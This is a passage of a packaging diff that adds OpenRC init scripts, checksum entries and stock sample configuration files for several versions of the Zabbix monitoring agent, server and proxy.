+DIST zabbix-2.2.9.tar.gz 15032149 SHA256 7c8c319b34beb978e4b7be8c93e084485f93fe028dd9dbc6b674a7498d324439 SHA512 8400f875546140a7393ac6598a02e95645ac63ece1d958e7752737d0c0fff25e70923f2dd1ea29a9e73640b159da8a5286d9b1c31fbb3f090acbd07606c6113d WHIRLPOOL cb68a2c1467c83e8c2e2662af3995d7d90a00408009df2d9fe0b0d0d81191521b3f6e1624240150f68419252324e0d6e5653a3f19ed3b88adeb2719277172fb6
+DIST zabbix-2.4.5.tar.gz 14851092 SHA256 4e2cf1e4893a45d83379a05e2debabddf16beab324c93e84adc0bb57716fb957 SHA512 bdcba684b3d1cdb9eb5e1f9b370ef450201de8dbd9fe1619ef2b2437de6c34762dc041fa873976c4af0a2af229eec450aa58b1663feb75b6345d303484d35ead WHIRLPOOL 775e98b85152268b19cde553ff8bc7e86c0f6c5b873e85a0faca3edb5b51fe7d02267e52b3dccb0f08847bf11c6d0ba6b2d9f1e6bd472c882a2fac4326a83e10
diff --git a/net-analyzer/zabbix/files/1.4.6/init.d/zabbix-agentd b/net-analyzer/zabbix/files/1.4.6/init.d/zabbix-agentd
new file mode 100644
index 000000000000..af8eaa5cff33
--- /dev/null
+++ b/net-analyzer/zabbix/files/1.4.6/init.d/zabbix-agentd
@@ -0,0 +1,22 @@
+#!/sbin/runscript
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need net
+ provide zabbix-agent
+ use zabbix-server
+}
+
+start() {
+ ebegin "Starting Zabbix agent"
+ start-stop-daemon --start --user zabbix --group zabbix --exec /usr/sbin/zabbix_agentd
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping Zabbix agent"
+ start-stop-daemon --stop --pidfile /var/run/zabbix/zabbix_agentd.pid
+ eend $?
+}
diff --git a/net-analyzer/zabbix/files/1.4.6/init.d/zabbix-server b/net-analyzer/zabbix/files/1.4.6/init.d/zabbix-server
new file mode 100644
index 000000000000..84c2adf443f7
--- /dev/null
+++ b/net-analyzer/zabbix/files/1.4.6/init.d/zabbix-server
@@ -0,0 +1,21 @@
+#!/sbin/runscript
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need net
+ use mysql postgresql
+}
+
+start() {
+ ebegin "Starting Zabbix server"
+ start-stop-daemon --start --user zabbix --group zabbix --exec /usr/sbin/zabbix_server
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping Zabbix server"
+ start-stop-daemon --stop --pidfile /var/run/zabbix/zabbix_server.pid
+ eend $?
+}
diff --git a/net-analyzer/zabbix/files/1.4.6/postinstall-en.txt b/net-analyzer/zabbix/files/1.4.6/postinstall-en.txt
new file mode 100644
index 000000000000..9d13a9f3dbce
--- /dev/null
+++ b/net-analyzer/zabbix/files/1.4.6/postinstall-en.txt
@@ -0,0 +1,8 @@
+Please change the values of the following variables in
+${MY_HTDOCSDIR}/include/db.inc.php:
+
+ DB_TYPE
+ DB_SERVER
+ DB_DATABASE
+ DB_USER
+ DB_PASSWORD
diff --git a/net-analyzer/zabbix/files/1.4.6/zabbix_agent.conf b/net-analyzer/zabbix/files/1.4.6/zabbix_agent.conf
new file mode 100644
index 000000000000..42997388900e
--- /dev/null
+++ b/net-analyzer/zabbix/files/1.4.6/zabbix_agent.conf
@@ -0,0 +1,25 @@
+# This is config file for zabbix_agent
+# To get more information about ZABBIX,
+# go http://www.zabbix.com
+
+# IP address of ZABBIX server
+# Connections from other hosts will be denied
+Server=127.0.0.1
+
+# Spend no more than Timeout seconds on processing
+# Must be between 1 and 30
+Timeout=3
+
+####### USER-DEFINED MONITORED PARAMETERS #######
+# Format: UserParameter=<key>,<shell command>
+# Note that shell command must not return empty string or EOL only
+#UserParameter=system.test,who|wc -l
+### Set of parameter for monitoring MySQL server (v3.23.42 and later)
+### Change -u<username> and add -p<password> if required
+#UserParameter=mysql.ping,mysqladmin -uroot ping|grep alive|wc -l
+#UserParameter=mysql.uptime,mysqladmin -uroot status|cut -f2 -d":"|cut -f1 -d"T"
+#UserParameter=mysql.threads,mysqladmin -uroot status|cut -f3 -d":"|cut -f1 -d"Q"
+#UserParameter=mysql.questions,mysqladmin -uroot status|cut -f4 -d":"|cut -f1 -d"S"
+#UserParameter=mysql.slowqueries,mysqladmin -uroot status|cut -f5 -d":"|cut -f1 -d"O"
+#UserParameter=mysql.qps,mysqladmin -uroot status|cut -f9 -d":"
+#UserParameter=mysql.version,mysql -V
diff --git a/net-analyzer/zabbix/files/1.4.6/zabbix_agentd.conf b/net-analyzer/zabbix/files/1.4.6/zabbix_agentd.conf
new file mode 100644
index 000000000000..e040f17efcc9
--- /dev/null
+++ b/net-analyzer/zabbix/files/1.4.6/zabbix_agentd.conf
@@ -0,0 +1,70 @@
+# This is config file for zabbix_agentd
+# To get more information about ZABBIX, go http://www.zabbix.com
+
+############ GENERAL PARAMETERS #################
+
+# List of comma delimited IP addresses (or hostnames) of ZABBIX servers.
+# No spaces allowed. First entry is used for sending active checks.
+# Note that hostnames must resolve hostname->IP address and
+# IP address->hostname.
+Server=127.0.0.1
+
+# Server port for sending active checks
+ServerPort=10051
+
+# Unique hostname. Required for active checks.
+Hostname=localhost
+
+# Listen port. Default is 10050
+ListenPort=10050
+
+# IP address to bind agent
+# If missing, bind to all available IPs
+ListenIP=127.0.0.1
+
+# Number of pre-forked instances of zabbix_agentd.
+# Default value is 5
+# This parameter must be between 1 and 16
+StartAgents=5
+
+# How often refresh list of active checks. 2 minutes by default.
+#RefreshActiveChecks=120
+
+# Disable active checks. The agent will work in passive mode listening server.
+#DisableActive=1
+
+# Enable remote commands for ZABBIX agent. By default remote commands disabled.
+#EnableRemoteCommands=1
+
+# Specifies debug level
+# 0 - debug is not created
+# 1 - critical information
+# 2 - error information
+# 3 - warnings (default)
+# 4 - for debugging (produces lots of information)
+DebugLevel=3
+
+# Name of PID file
+PidFile=/var/run/zabbix/zabbix_agentd.pid
+
+# Name of log file.
+# If not set, syslog will be used
+LogFile=/var/log/zabbix/zabbix_agentd.log
+
+# Spend no more than Timeout seconds on processing
+# Must be between 1 and 30
+Timeout=3
+
+####### USER-DEFINED MONITORED PARAMETERS #######
+# Format: UserParameter=<key>,<shell command>
+# Note that shell command must not return empty string or EOL only
+#UserParameter=system.test,who|wc -l
+### Set of parameter for monitoring MySQL server (v3.23.42 and later)
+### Change -u<username> and add -p<password> if required
+#UserParameter=mysql.ping,mysqladmin -uroot ping|grep alive|wc -l
+#UserParameter=mysql.uptime,mysqladmin -uroot status|cut -f2 -d":"|cut -f1 -d"T"
+#UserParameter=mysql.threads,mysqladmin -uroot status|cut -f3 -d":"|cut -f1 -d"Q"
+#UserParameter=mysql.questions,mysqladmin -uroot status|cut -f4 -d":"|cut -f1 -d"S"
+#UserParameter=mysql.slowqueries,mysqladmin -uroot status|cut -f5 -d":"|cut -f1 -d"O"
+#UserParameter=mysql.qps,mysqladmin -uroot status|cut -f9 -d":"
+#UserParameter=mysql.version,mysql -V
diff --git a/net-analyzer/zabbix/files/1.4.6/zabbix_server.conf b/net-analyzer/zabbix/files/1.4.6/zabbix_server.conf
new file mode 100644
index 000000000000..12490f881130
--- /dev/null
+++ b/net-analyzer/zabbix/files/1.4.6/zabbix_server.conf
@@ -0,0 +1,98 @@
+# This is config file for ZABBIX server process
+# To get more information about ZABBIX,
+# go http://www.zabbix.com
+
+############ GENERAL PARAMETERS #################
+
+# This defines which server this is.
+# Default value 1
+# This parameter must be between 1 and 255
+Server=1
+
+# Number of pre-forked instances of pollers
+# Default value is 6
+# This parameter must be between 6 and 255
+StartPollers=6
+
+# Number of pre-forked instances of trappers
+# Default value is 5
+# This parameter must be between 2 and 255
+StartTrappers=5
+
+# Listen interface for trapper. Trapper will listen all network interfaces
+# if this parameter is missing.
+ListenIP=127.0.0.1
+
+# Listen port for trapping. Default port number is 10051. This parameter
+# must be between 1024 and 32767
+ListenPort=10051
+
+# How often ZABBIX will perform housekeeping procedure
+# (in hours)
+# Default value is 1 hour
+# Housekeeping is removing unnecessary information from
+# tables history, alert, and alarms
+# This parameter must be between 1 and 24
+HousekeepingFrequency=1
+
+# How often ZABBIX will try to send unsent alerts
+# (in seconds)
+# Default value is 30 seconds
+SenderFrequency=30
+
+# Uncomment this line to disable housekeeping procedure
+#DisableHousekeeping=1
+
+# Specifies debug level
+# 0 - debug is not created
+# 1 - critical information
+# 2 - error information
+# 3 - warnings (default)
+# 4 - for debugging (produces lots of information)
+DebugLevel=3
+
+# Specifies how long we wait for agent (in sec)
+# Must be between 1 and 30
+Timeout=5
+
+# After how many seconds of unreachability treat a host as unavailable
+UnreachablePeriod=45
+
+# How ofter check host for availability during the unreachability period
+UnavailableDelay=15
+
+# How ofter check host for availability during the unavailability period
+UnavailableDelay=60
+
+# Name of PID file
+PidFile=/var/run/zabbix/zabbix_server.pid
+
+# Name of log file
+# If not set, syslog is used
+LogFile=/var/log/zabbix/zabbix_server.log
+
+#Location for custom alert scripts
+AlertScriptsPath=/var/lib/zabbix/scripts
+
+#Location of 'fping. Default is /usr/sbin/fping
+FpingLocation=/usr/sbin/fping
+
+# Frequency of ICMP pings. Defauls is 30 second.
+PingerFrequency=30
+
+# Database host name
+# Default is localhost
+DBHost=localhost
+
+# Database name
+DBName=zabbix
+
+# Database user
+DBUser=zabbix
+
+# Database password
+# Comment this line if no password used
+DBPassword=zabbix
+
+# Connect to MySQL using Unix socket?
+#DBSocket=/var/run/mysqld/mysqld.sock
diff --git a/net-analyzer/zabbix/files/1.6.5/init.d/zabbix-agentd b/net-analyzer/zabbix/files/1.6.5/init.d/zabbix-agentd
new file mode 100644
index 000000000000..af8eaa5cff33
--- /dev/null
+++ b/net-analyzer/zabbix/files/1.6.5/init.d/zabbix-agentd
@@ -0,0 +1,22 @@
+#!/sbin/runscript
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need net
+ provide zabbix-agent
+ use zabbix-server
+}
+
+start() {
+ ebegin "Starting Zabbix agent"
+ start-stop-daemon --start --user zabbix --group zabbix --exec /usr/sbin/zabbix_agentd
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping Zabbix agent"
+ start-stop-daemon --stop --pidfile /var/run/zabbix/zabbix_agentd.pid
+ eend $?
+}
diff --git a/net-analyzer/zabbix/files/1.6.5/init.d/zabbix-server b/net-analyzer/zabbix/files/1.6.5/init.d/zabbix-server
new file mode 100644
index 000000000000..84c2adf443f7
--- /dev/null
+++ b/net-analyzer/zabbix/files/1.6.5/init.d/zabbix-server
@@ -0,0 +1,21 @@
+#!/sbin/runscript
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need net
+ use mysql postgresql
+}
+
+start() {
+ ebegin "Starting Zabbix server"
+ start-stop-daemon --start --user zabbix --group zabbix --exec /usr/sbin/zabbix_server
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping Zabbix server"
+ start-stop-daemon --stop --pidfile /var/run/zabbix/zabbix_server.pid
+ eend $?
+}
diff --git a/net-analyzer/zabbix/files/1.6.5/postinstall-en.txt b/net-analyzer/zabbix/files/1.6.5/postinstall-en.txt
new file mode 100644
index 000000000000..9d13a9f3dbce
--- /dev/null
+++ b/net-analyzer/zabbix/files/1.6.5/postinstall-en.txt
@@ -0,0 +1,8 @@
+Please change the values of the following variables in
+${MY_HTDOCSDIR}/include/db.inc.php:
+
+ DB_TYPE
+ DB_SERVER
+ DB_DATABASE
+ DB_USER
+ DB_PASSWORD
diff --git a/net-analyzer/zabbix/files/1.6.5/zabbix_agent.conf b/net-analyzer/zabbix/files/1.6.5/zabbix_agent.conf
new file mode 100644
index 000000000000..dfa5c1bd3dee
--- /dev/null
+++ b/net-analyzer/zabbix/files/1.6.5/zabbix_agent.conf
@@ -0,0 +1,27 @@
+# This is config file for zabbix_agent
+# To get more information about ZABBIX,
+# go http://www.zabbix.com
+
+# IP address of ZABBIX server
+# Connections from other hosts will be denied
+
+Server=127.0.0.1
+
+# Spend no more than Timeout seconds on processing
+# Must be between 1 and 30
+
+Timeout=3
+
+####### USER-DEFINED MONITORED PARAMETERS #######
+# Format: UserParameter=<key>,<shell command>
+# Note that shell command must not return empty string or EOL only
+#UserParameter=system.test,who|wc -l
+### Set of parameter for monitoring MySQL server (v3.23.42 and later)
+### Change -u<username> and add -p<password> if required
+#UserParameter=mysql.ping,mysqladmin -uroot ping|grep alive|wc -l
+#UserParameter=mysql.uptime,mysqladmin -uroot status|cut -f2 -d":"|cut -f1 -d"T"
+#UserParameter=mysql.threads,mysqladmin -uroot status|cut -f3 -d":"|cut -f1 -d"Q"
+#UserParameter=mysql.questions,mysqladmin -uroot status|cut -f4 -d":"|cut -f1 -d"S"
+#UserParameter=mysql.slowqueries,mysqladmin -uroot status|cut -f5 -d":"|cut -f1 -d"O"
+#UserParameter=mysql.qps,mysqladmin -uroot status|cut -f9 -d":"
+#UserParameter=mysql.version,mysql -V
diff --git a/net-analyzer/zabbix/files/1.6.5/zabbix_agentd.conf b/net-analyzer/zabbix/files/1.6.5/zabbix_agentd.conf
new file mode 100644
index 000000000000..44ce9d89a5e9
--- /dev/null
+++ b/net-analyzer/zabbix/files/1.6.5/zabbix_agentd.conf
@@ -0,0 +1,90 @@
+# This is config file for zabbix_agentd
+# To get more information about ZABBIX, go http://www.zabbix.com
+
+############ GENERAL PARAMETERS #################
+
+# List of comma delimited IP addresses (or hostnames) of ZABBIX servers.
+# No spaces allowed. First entry is used for sending active checks.
+# Note that hostnames must resolve hostname->IP address and
+# IP address->hostname.
+
+Server=127.0.0.1
+
+# Server port for sending active checks
+
+#ServerPort=10051
+
+# Unique hostname. Required for active checks.
+
+Hostname=ZABBIX Server
+
+# Listen port. Default is 10050
+
+#ListenPort=10050
+
+# IP address to bind agent
+# If missing, bind to all available IPs
+
+#ListenIP=127.0.0.1
+
+# Source IP address for outgouing connections
+#SourceIP=
+
+# Number of pre-forked instances of zabbix_agentd.
+# Default value is 5
+# This parameter must be between 1 and 16
+
+StartAgents=5
+
+# How often refresh list of active checks. 2 minutes by default.
+
+#RefreshActiveChecks=120
+
+# Disable active checks. The agent will work in passive mode listening server.
+
+#DisableActive=1
+
+# Enable remote commands for ZABBIX agent. By default remote commands disabled.
+
+#EnableRemoteCommands=1
+
+# Specifies debug level
+# 0 - debug is not created
+# 1 - critical information
+# 2 - error information
+# 3 - warnings (default)
+# 4 - for debugging (produces lots of information)
+
+DebugLevel=3
+
+# Name of PID file
+
+PidFile=/var/run/zabbix/zabbix_agentd.pid
+
+# Name of log file.
+# If not set, syslog will be used
+
+LogFile=/tmp/zabbix_agentd.log
+
+# Maximum size of log file in MB. Set to 0 to disable automatic log rotation.
+#LogFileSize=1
+
+# Spend no more than Timeout seconds on processing
+# Must be between 1 and 30
+
+Timeout=3
+
+####### USER-DEFINED MONITORED PARAMETERS #######
+# Format: UserParameter=<key>,<shell command>
+# Note that shell command must not return empty string or EOL only
+#UserParameter=system.test,who|wc -l
+### Set of parameter for monitoring MySQL server (v3.23.42 and later)
+### Change -u<username> and add -p<password> if required
+#UserParameter=mysql.ping,mysqladmin -uroot ping|grep alive|wc -l
+#UserParameter=mysql.uptime,mysqladmin -uroot status|cut -f2 -d":"|cut -f1 -d"T"
+#UserParameter=mysql.threads,mysqladmin -uroot status|cut -f3 -d":"|cut -f1 -d"Q"
+#UserParameter=mysql.questions,mysqladmin -uroot status|cut -f4 -d":"|cut -f1 -d"S"
+#UserParameter=mysql.slowqueries,mysqladmin -uroot status|cut -f5 -d":"|cut -f1 -d"O"
+#UserParameter=mysql.qps,mysqladmin -uroot status|cut -f9 -d":"
+#UserParameter=mysql.version,mysql -V
+
diff --git a/net-analyzer/zabbix/files/1.6.5/zabbix_proxy.conf b/net-analyzer/zabbix/files/1.6.5/zabbix_proxy.conf
new file mode 100644
index 000000000000..a09a7b623243
--- /dev/null
+++ b/net-analyzer/zabbix/files/1.6.5/zabbix_proxy.conf
@@ -0,0 +1,175 @@
+# This is config file for ZABBIX server process
+# To get more information about ZABBIX,
+# go http://www.zabbix.com
+
+############ GENERAL PARAMETERS #################
+
+# IP address (or hostname) of ZABBIX servers.
+
+Server=127.0.0.1
+
+# Server port for sending active checks
+
+ServerPort=10051
+
+# Unique hostname.
+
+Hostname=proxy
+
+# Number of pre-forked instances of pollers
+# Default value is 5
+# This parameter must be between 0 and 255
+#StartPollers=5
+
+# Number of pre-forked instances of IPMI pollers
+# Default value is 0
+# This parameter must be between 0 and 255
+#StartIPMIPollers=0
+
+# Number of pre-forked instances of pollers for unreachable hosts
+# Default value is 1
+# This parameter must be between 0 and 255
+#StartPollersUnreachable=1
+
+# Number of pre-forked instances of trappers
+# Default value is 5
+# This parameter must be between 0 and 255
+#StartTrappers=5
+
+# Number of pre-forked instances of ICMP pingers
+# Default value is 1
+# This parameter must be between 0 and 255
+#StartPingers=1
+
+# Number of pre-forked instances of discoverers
+# Default value is 1
+# This parameter must be between 0 and 255
+#StartDiscoverers=1
+
+# Number of pre-forked instances of HTTP pollers
+# Default value is 1
+# This parameter must be between 0 and 255
+#StartHTTPPollers=1
+
+# Listen port for trapper. Default port number is 10051. This parameter
+# must be between 1024 and 32767
+#ListenPort=10051
+
+# Source IP address for outgouing connections
+#SourceIP=
+
+# Listen interface for trapper. Trapper will listen all network interfaces
+# if this parameter is missing.
+#ListenIP=127.0.0.1
+
+# How often ZABBIX will perform sending hearbeat message
+# (in seconds)
+# Default value is 60 seconds
+# Set to 0 to disable heartbeat messages
+# This parameter must be between 0 and 3600
+#HeartbeatFrequency=60
+
+# How often ZABBIX will perform sync configuration data
+# (in seconds)
+# Default value is 3600 seconds (1h)
+# This parameter must be between 1 and 604800 (1 week)
+#ConfigFrequency=3600
+
+# How often ZABBIX will perform housekeeping procedure
+# (in hours)
+# Default value is 1 hour
+# Housekeeping is removing unnecessary information from
+# tables history, alert, and alarms
+# This parameter must be between 1 and 24
+#HousekeepingFrequency=1
+
+# How often ZABBIX will try to send unsent alerts
+# (in seconds)
+# Default value is 30 seconds
+#SenderFrequency=30
+
+# Local bufer size in hours. Proxy will keep collected data N hours.
+# Default value is 0 hours
+#ProxyLocalBuffer=0
+
+# Offline buffer size in hours. It is used when server is not available.
+# Older data is removed.
+# Default value is 1 hours
+#ProxyOfflineBuffer=1
+
+# Specifies debug level
+# 0 - debug is not created
+# 1 - critical information
+# 2 - error information
+# 3 - warnings (default)
+# 4 - for debugging (produces lots of information)
+#DebugLevel=3
+
+# Specifies how long we wait for agent response (in sec)
+# Must be between 1 and 30
+Timeout=5
+
+# Specifies how many seconds trapper may spend processing new data
+# Must be between 1 and 30
+#TrapperTimeout=5
+
+# After how many seconds of unreachability treat a host as unavailable
+#UnreachablePeriod=45
+
+# How ofter check host for availability during the unreachability period
+#UnavailableDelay=15
+
+# How ofter check host for availability during the unavailability period
+#UnavailableDelay=60
+
+# Name of PID file
+PidFile=/var/tmp/zabbix_proxy.pid
+
+# Name of log file
+# If not set, syslog is used
+LogFile=/tmp/zabbix_proxy.log
+
+# Maximum size of log file in MB. Set to 0 to disable automatic log rotation.
+#LogFileSize=1
+
+# Location for custom alert scripts
+AlertScriptsPath=/home/zabbix/bin/
+
+# Location of external scripts
+#ExternalScripts=/etc/zabbix/externalscripts
+
+# Location of 'fping. Default is /usr/sbin/fping
+# Make sure that fping binary has root permissions and SUID flag set
+#FpingLocation=/usr/sbin/fping
+
+# Location of fping6. Default is /usr/sbin/fping6
+# Make sure that fping binary has root permissions and SUID flag set
+#Fping6Location=/usr/sbin/fping6
+
+# Temporary directory. Default is /tmp
+#TmpDir=/tmp
+
+# Frequency of ICMP pings (item keys 'icmpping' and 'icmppingsec'). Defauls is 60 seconds.
+#PingerFrequency=60
+
+# Database host name
+# Default is localhost
+
+#DBHost=localhost
+
+# Database name
+# SQLite3 note: path to database file must be provided. DBUser and DBPassword are ignored.
+DBName=proxy
+
+# Database user
+
+DBUser=root
+
+# Database password
+# Comment this line if no password used
+
+#DBPassword=<password>
+
+# Connect to MySQL using Unix socket?
+
+#DBSocket=/tmp/mysql.sock
diff --git a/net-analyzer/zabbix/files/1.6.5/zabbix_server.conf b/net-analyzer/zabbix/files/1.6.5/zabbix_server.conf
new file mode 100644
index 000000000000..2821ed2f1510
--- /dev/null
+++ b/net-analyzer/zabbix/files/1.6.5/zabbix_server.conf
@@ -0,0 +1,155 @@
+# This is config file for ZABBIX server process
+# To get more information about ZABBIX,
+# go http://www.zabbix.com
+
+############ GENERAL PARAMETERS #################
+
+# This defines unique NodeID in distributed setup,
+# Default value 0 (standalone server)
+# This parameter must be between 0 and 999
+#NodeID=0
+
+# Number of pre-forked instances of pollers
+# Default value is 5
+# This parameter must be between 0 and 255
+#StartPollers=5
+
+# Number of pre-forked instances of IPMI pollers
+# Default value is 0
+# This parameter must be between 0 and 255
+#StartIPMIPollers=0
+
+# Number of pre-forked instances of pollers for unreachable hosts
+# Default value is 1
+# This parameter must be between 0 and 255
+#StartPollersUnreachable=1
+
+# Number of pre-forked instances of trappers
+# Default value is 5
+# This parameter must be between 0 and 255
+#StartTrappers=5
+
+# Number of pre-forked instances of ICMP pingers
+# Default value is 1
+# This parameter must be between 0 and 255
+#StartPingers=1
+
+# Number of pre-forked instances of discoverers
+# Default value is 1
+# This parameter must be between 0 and 255
+#StartDiscoverers=1
+
+# Number of pre-forked instances of HTTP pollers
+# Default value is 1
+# This parameter must be between 0 and 255
+#StartHTTPPollers=1
+
+# Listen port for trapper. Default port number is 10051. This parameter
+# must be between 1024 and 32767
+
+#ListenPort=10051
+
+# Source IP address for outgouing connections
+#SourceIP=
+
+# Listen interface for trapper. Trapper will listen all network interfaces
+# if this parameter is missing.
+
+#ListenIP=127.0.0.1
+
+# How often ZABBIX will perform housekeeping procedure
+# (in hours)
+# Default value is 1 hour
+# Housekeeping is removing unnecessary information from
+# tables history, alert, and alarms
+# This parameter must be between 1 and 24
+
+#HousekeepingFrequency=1
+
+# How often ZABBIX will try to send unsent alerts
+# (in seconds)
+# Default value is 30 seconds
+SenderFrequency=30
+
+# Uncomment this line to disable housekeeping procedure
+#DisableHousekeeping=1
+
+# Specifies debug level
+# 0 - debug is not created
+# 1 - critical information
+# 2 - error information
+# 3 - warnings (default)
+# 4 - for debugging (produces lots of information)
+
+DebugLevel=3
+
+# Specifies how long we wait for agent response (in sec)
+# Must be between 1 and 30
+Timeout=5
+
+# Specifies how many seconds trapper may spend processing new data
+# Must be between 1 and 30
+#TrapperTimeout=5
+
+# After how many seconds of unreachability treat a host as unavailable
+#UnreachablePeriod=45
+
+# How ofter check host for availability during the unreachability period
+#UnavailableDelay=15
+
+# How ofter check host for availability during the unavailability period
+#UnavailableDelay=60
+
+# Name of PID file
+
+PidFile=/var/run/zabbix/zabbix_server.pid
+
+# Name of log file
+# If not set, syslog is used
+
+LogFile=/tmp/zabbix_server.log
+
+# Maximum size of log file in MB. Set to 0 to disable automatic log rotation.
+#LogFileSize=1
+
+# Location for custom alert scripts
+AlertScriptsPath=/home/zabbix/bin/
+
+# Location of external scripts
+#ExternalScripts=/etc/zabbix/externalscripts
+
+# Location of fping. Default is /usr/sbin/fping
+# Make sure that fping binary has root permissions and SUID flag set
+#FpingLocation=/usr/sbin/fping
+
+# Location of fping6. Default is /usr/sbin/fping6
+# Make sure that fping binary has root permissions and SUID flag set
+#Fping6Location=/usr/sbin/fping6
+
+# Temporary directory. Default is /tmp
+#TmpDir=/tmp
+
+# Frequency of ICMP pings (item keys 'icmpping' and 'icmppingsec'). Defauls is 60 seconds.
+#PingerFrequency=60
+
+# Database host name
+# Default is localhost
+
+#DBHost=localhost
+
+# Database name
+# SQLite3 note: path to database file must be provided. DBUser and DBPassword are ignored.
+DBName=zabbix
+
+# Database user
+
+DBUser=root
+
+# Database password
+# Comment this line if no password used
+
+#DBPassword=<password>
+
+# Connect to MySQL using Unix socket?
+
+#DBSocket=/tmp/mysql.sock
diff --git a/net-analyzer/zabbix/files/1.6.5/zabbix_trapper.conf b/net-analyzer/zabbix/files/1.6.5/zabbix_trapper.conf
new file mode 100644
index 000000000000..20222950bb96
--- /dev/null
+++ b/net-analyzer/zabbix/files/1.6.5/zabbix_trapper.conf
@@ -0,0 +1,44 @@
+# This is config file for zabbix_trapper
+# To get more information about ZABBIX,
+# go http://www.zabbix.com
+
+############ GENERAL PARAMETERS #################
+
+# Specifies debug level
+# 1 - critical information
+# 2 - warnings (default)
+# 3 - for debugging (produces lots of information)
+
+DebugLevel=2
+
+# Spend no more than Timeout seconds on processing
+# Must be between 1 and 30
+
+Timeout=3
+
+# Name of log file
+# If not set, syslog will be used
+
+LogFile=/tmp/zabbix_trapper.log
+
+# Database host name
+# Default is localhost
+
+#DBHost=localhost
+
+# Database name
+
+DBName=zabbix
+
+# Database user
+
+DBUser=root
+
+# Database password
+# Comment this line if no password used
+
+#DBPassword=<password>
+
+# Connect to MySQL usig Unix socket?
+
+#DBSocket=/tmp/mysql.sock
diff --git a/net-analyzer/zabbix/files/1.6.6/init.d/zabbix-agentd b/net-analyzer/zabbix/files/1.6.6/init.d/zabbix-agentd
new file mode 100644
index 000000000000..af8eaa5cff33
--- /dev/null
+++ b/net-analyzer/zabbix/files/1.6.6/init.d/zabbix-agentd
@@ -0,0 +1,22 @@
+#!/sbin/runscript
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need net
+ provide zabbix-agent
+ use zabbix-server
+}
+
+start() {
+ ebegin "Starting Zabbix agent"
+ start-stop-daemon --start --user zabbix --group zabbix --exec /usr/sbin/zabbix_agentd
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping Zabbix agent"
+ start-stop-daemon --stop --pidfile /var/run/zabbix/zabbix_agentd.pid
+ eend $?
+}
diff --git a/net-analyzer/zabbix/files/1.6.6/init.d/zabbix-proxy b/net-analyzer/zabbix/files/1.6.6/init.d/zabbix-proxy
new file mode 100644
index 000000000000..4a007b1cae8f
--- /dev/null
+++ b/net-analyzer/zabbix/files/1.6.6/init.d/zabbix-proxy
@@ -0,0 +1,21 @@
+#!/sbin/runscript
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need net
+ #use mysql postgresql
+}
+
+start() {
+ ebegin "Starting Zabbix proxy"
+ start-stop-daemon --start --user zabbix --group zabbix --exec /usr/sbin/zabbix_proxy
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping Zabbix proxy"
+ start-stop-daemon --stop --pidfile /var/run/zabbix/zabbix_proxy.pid
+ eend $?
+}
diff --git a/net-analyzer/zabbix/files/1.6.6/init.d/zabbix-server b/net-analyzer/zabbix/files/1.6.6/init.d/zabbix-server
new file mode 100644
index 000000000000..84c2adf443f7
--- /dev/null
+++ b/net-analyzer/zabbix/files/1.6.6/init.d/zabbix-server
@@ -0,0 +1,21 @@
+#!/sbin/runscript
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need net
+ use mysql postgresql
+}
+
+start() {
+ ebegin "Starting Zabbix server"
+ start-stop-daemon --start --user zabbix --group zabbix --exec /usr/sbin/zabbix_server
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping Zabbix server"
+ start-stop-daemon --stop --pidfile /var/run/zabbix/zabbix_server.pid
+ eend $?
+}
diff --git a/net-analyzer/zabbix/files/1.6.6/postinstall-en.txt b/net-analyzer/zabbix/files/1.6.6/postinstall-en.txt
new file mode 100644
index 000000000000..9d13a9f3dbce
--- /dev/null
+++ b/net-analyzer/zabbix/files/1.6.6/postinstall-en.txt
@@ -0,0 +1,8 @@
+Please change the values of the following variables in
+${MY_HTDOCSDIR}/include/db.inc.php:
+
+ DB_TYPE
+ DB_SERVER
+ DB_DATABASE
+ DB_USER
+ DB_PASSWORD
diff --git a/net-analyzer/zabbix/files/1.6.6/zabbix_agent.conf b/net-analyzer/zabbix/files/1.6.6/zabbix_agent.conf
new file mode 100644
index 000000000000..dfa5c1bd3dee
--- /dev/null
+++ b/net-analyzer/zabbix/files/1.6.6/zabbix_agent.conf
@@ -0,0 +1,27 @@
+# This is config file for zabbix_agent
+# To get more information about ZABBIX,
+# go http://www.zabbix.com
+
+# IP address of ZABBIX server
+# Connections from other hosts will be denied
+
+Server=127.0.0.1
+
+# Spend no more than Timeout seconds on processing
+# Must be between 1 and 30
+
+Timeout=3
+
+####### USER-DEFINED MONITORED PARAMETERS #######
+# Format: UserParameter=<key>,<shell command>
+# Note that shell command must not return empty string or EOL only
+#UserParameter=system.test,who|wc -l
+### Set of parameter for monitoring MySQL server (v3.23.42 and later)
+### Change -u<username> and add -p<password> if required
+#UserParameter=mysql.ping,mysqladmin -uroot ping|grep alive|wc -l
+#UserParameter=mysql.uptime,mysqladmin -uroot status|cut -f2 -d":"|cut -f1 -d"T"
+#UserParameter=mysql.threads,mysqladmin -uroot status|cut -f3 -d":"|cut -f1 -d"Q"
+#UserParameter=mysql.questions,mysqladmin -uroot status|cut -f4 -d":"|cut -f1 -d"S"
+#UserParameter=mysql.slowqueries,mysqladmin -uroot status|cut -f5 -d":"|cut -f1 -d"O"
+#UserParameter=mysql.qps,mysqladmin -uroot status|cut -f9 -d":"
+#UserParameter=mysql.version,mysql -V
diff --git a/net-analyzer/zabbix/files/1.6.6/zabbix_agentd.conf b/net-analyzer/zabbix/files/1.6.6/zabbix_agentd.conf
new file mode 100644
index 000000000000..aac55eeb489c
--- /dev/null
